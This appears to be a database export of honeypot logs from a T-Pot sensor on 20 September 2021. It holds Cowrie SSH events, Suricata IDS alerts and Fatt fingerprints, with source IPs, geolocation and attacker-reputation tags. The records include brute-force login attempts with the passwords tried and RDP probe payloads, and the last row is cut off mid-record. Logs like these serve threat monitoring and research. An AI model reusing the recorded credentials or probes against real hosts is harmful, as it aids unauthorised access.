\N	known attacker	CN
36454	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:15:07.83184+03	2021-09-20 15:30:02.27587+03	{"_id": "HQYhA3wBvYTbRNuEpGM-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "0b8168e58ef0", "@version": "1", "timestamp": "2021-09-20T12:15:07.831840Z", "@timestamp": "2021-09-20T12:15:07.831Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
36455	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:15:08.414825+03	2021-09-20 15:30:02.276868+03	{"_id": "IQYhA3wBvYTbRNuEpWNN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:15:07.655161+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 163185056022329, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 55571, "dest_port": 3389, "timestamp": "2021-09-20T12:15:08.414825Z", "@timestamp": "2021-09-20T12:15:08.414Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
36461	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:15:09.261412+03	2021-09-20 15:30:02.286868+03	{"_id": "JQYhA3wBvYTbRNuEqGMn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/a123456] failed", "session": "0b8168e58ef0", "@version": "1", "password": "a123456", "username": "root", "timestamp": "2021-09-20T12:15:09.261412Z", "@timestamp": "2021-09-20T12:15:09.261Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
36456	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:15:08.07795+03	2021-09-20 15:30:02.278868+03	{"_id": "HwYhA3wBvYTbRNuEpWNN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:15:07.655161+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 163185056022329, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 55571, "timestamp": "2021-09-20T12:15:08.077950Z", "@timestamp": "2021-09-20T12:15:08.077Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
36457	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 15:15:09.475834+03	2021-09-20 15:30:02.279868+03	{"_id": "IgYhA3wBvYTbRNuEqGMn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.login.failed", "message": "login attempt [mmendez/mmendez] failed", "session": "dd36e02ec383", "@version": "1", "password": "mmendez", "username": "mmendez", "timestamp": "2021-09-20T12:15:09.475834Z", "@timestamp": "2021-09-20T12:15:09.475Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
36458	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:15:07.568578+03	2021-09-20 15:30:02.282867+03	{"_id": "CQYhA3wBvYTbRNuEoGNV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 218.92.0.190:26967 (192.168.176.2:22) [session: 0b8168e58ef0]", "session": "0b8168e58ef0", "@version": "1", "protocol": "ssh", "src_port": 26967, "dest_port": 22, "timestamp": "2021-09-20T12:15:07.568578Z", "@timestamp": "2021-09-20T12:15:07.568Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
36459	152.199.19.161	109.199.241.180	Suricata	2021-09-20 15:15:07.118138+03	2021-09-20 15:30:02.283868+03	{"_id": "DQYhA3wBvYTbRNuEoWNk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:15:06.870446+0000", "pkts_toclient": 0, "pkts_toserver": 3, "bytes_toclient": 0, "bytes_toserver": 269}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "152.199.19.161", "asn": 701, "as_org": "MCI Communications Services, Inc. d/b/a Verizon Business", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "152.199.19.161", "stream": 0, "dest_ip": "192.168.20.147", "flow_id": 606816522881070, "payload": "FwMDADtVs7rij8AX2dhlS8wKUa8JIH4l2as+bG/nrQNp8LO+i0UrWBKlmebQtbUhOBRLRJMZ1Xwtv/EXnVxKSRUDAwAaVbO64o/AF9q7y3ai/bTvugdV/V6X3YU5PHo=", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 62580, "timestamp": "2021-09-20T12:15:07.118138Z", "@timestamp": "2021-09-20T12:15:07.118Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "....;U........eK.\\nQ.. ~%..>lo...i....E+X.......!8.KD...|-....\\\\JI.....U.........v......U.^...9<z"}}	1	\N	\N	alert	\N	US
36460	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:15:08.007458+03	2021-09-20 15:30:02.28587+03	{"_id": "EQYhA3wBvYTbRNuEoWNk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:15:07.655161+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 163185056022329, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 55571, "dest_port": 3389, "timestamp": "2021-09-20T12:15:08.007458Z", "@timestamp": "2021-09-20T12:15:08.007Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
36462	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 15:15:09.659637+03	2021-09-20 15:30:02.287867+03	{"_id": "JgYhA3wBvYTbRNuEqGMn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "3e9e6ccc8c64", "@version": "1", "timestamp": "2021-09-20T12:15:09.659637Z", "@timestamp": "2021-09-20T12:15:09.659Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	RU
36463	91.231.219.157	109.199.241.180	Suricata	2021-09-20 15:15:09.658842+03	2021-09-20 15:30:02.289868+03	{"_id": "JwYhA3wBvYTbRNuEqWM2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "91.231.219.157", "dest_ip": "192.168.20.116", "flow_id": 1515275120663298, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49682, "dest_port": 22, "timestamp": "2021-09-20T12:15:09.658842Z", "@timestamp": "2021-09-20T12:15:09.658Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	RU
36464	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:15:09.558711+03	2021-09-20 15:30:02.290869+03	{"_id": "LwYhA3wBvYTbRNuEqmN-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "91.231.219.157", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49682, "timestamp": "2021-09-20T12:15:09.558711", "@timestamp": "2021-09-20T12:15:09.558Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36465	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:15:10.554435+03	2021-09-20 15:30:02.292868+03	{"_id": "MQYhA3wBvYTbRNuErGMQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/a1234567] failed", "session": "0b8168e58ef0", "@version": "1", "password": "a1234567", "username": "root", "timestamp": "2021-09-20T12:15:10.554435Z", "@timestamp": "2021-09-20T12:15:10.554Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
36466	fe80:0000:0000:0000:0086:403d:72ff:040f	109.199.241.180	Suricata	2021-09-20 15:15:02.416346+03	2021-09-20 15:30:02.293868+03	{"_id": "6gYhA3wBvYTbRNuEjWLZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:15:02.416346+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 130}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:0086:403d:72ff:040f", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1184755911907930, "payload": "AAAAAwQAAAD/AgAAAAAAAAAAAAAAAAD7BAAAAP8CAAAAAAAAAAAAAv9Z1KsEAAAA/wIAAAAAAAA=", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:15:02.416346Z", "@timestamp": "2021-09-20T12:15:02.416Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".........................................Y.............."}}	1	\N	\N	alert	\N	\N
36468	94.232.41.165	109.199.241.180	Suricata	2021-09-20 15:15:03.656545+03	2021-09-20 15:30:02.296867+03	{"_id": "7gYhA3wBvYTbRNuEkWLC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:15:03.575513+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "94.232.41.165", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 888282909493273, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 14255, "dest_port": 3389, "timestamp": "2021-09-20T12:15:03.656545Z", "@timestamp": "2021-09-20T12:15:03.656Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	RU
36469	94.232.41.165	109.199.241.180	Suricata	2021-09-20 15:15:03.787388+03	2021-09-20 15:30:02.297868+03	{"_id": "8QYhA3wBvYTbRNuEkWLD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:15:03.575513+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "94.232.41.165", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 888282909493273, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 14255, "dest_port": 3389, "timestamp": "2021-09-20T12:15:03.787388Z", "@timestamp": "2021-09-20T12:15:03.787Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	RU
36470	fe80:0000:0000:0000:0086:403d:72ff:040f	109.199.241.180	Suricata	2021-09-20 15:15:03.403705+03	2021-09-20 15:30:02.298868+03	{"_id": "8gYhA3wBvYTbRNuEkWLD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:15:02.416346+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 260}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:0086:403d:72ff:040f", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1184755911907930, "payload": "AAAAAwQAAAD/AgAAAAAAAAAAAAAAAAD7BAAAAP8CAAAAAAAAAAAAAv9Z1KsEAAAA/wIAAAAAAAA=", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:15:03.403705Z", "@timestamp": "2021-09-20T12:15:03.403Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".........................................Y.............."}}	1	\N	\N	alert	\N	\N
36471	94.232.41.165	109.199.241.180	Fatt	2021-09-20 15:15:03.656545+03	2021-09-20 15:30:02.300868+03	{"_id": "9wYhA3wBvYTbRNuEk2IJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "94.232.41.165", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 14255, "dest_port": 3389, "timestamp": "2021-09-20T12:15:03.656545", "@timestamp": "2021-09-20T12:15:03.656Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	RU
36472	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:15:04.710577+03	2021-09-20 15:30:02.301869+03	{"_id": "-QYhA3wBvYTbRNuElWKr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "http": {"url": "/API/post", "length": 6, "status": 200, "hostname": "78.83.66.198", "protocol": "HTTP/1.1", "http_port": 8000, "http_method": "POST", "authorization": "Token 1234567890", "http_user_agent": "curl/7.64.0", "http_content_type": "text/html"}, "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "TCP", "tx_id": 0, "src_ip": "192.168.20.116", "dest_ip": "78.83.66.198", "flow_id": 606906716875443, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["BS.SSL.Known.Port", "FB180732_0", "ET.formdata", "et.httpproto", "ET.knowitsnothttpnow"]}, 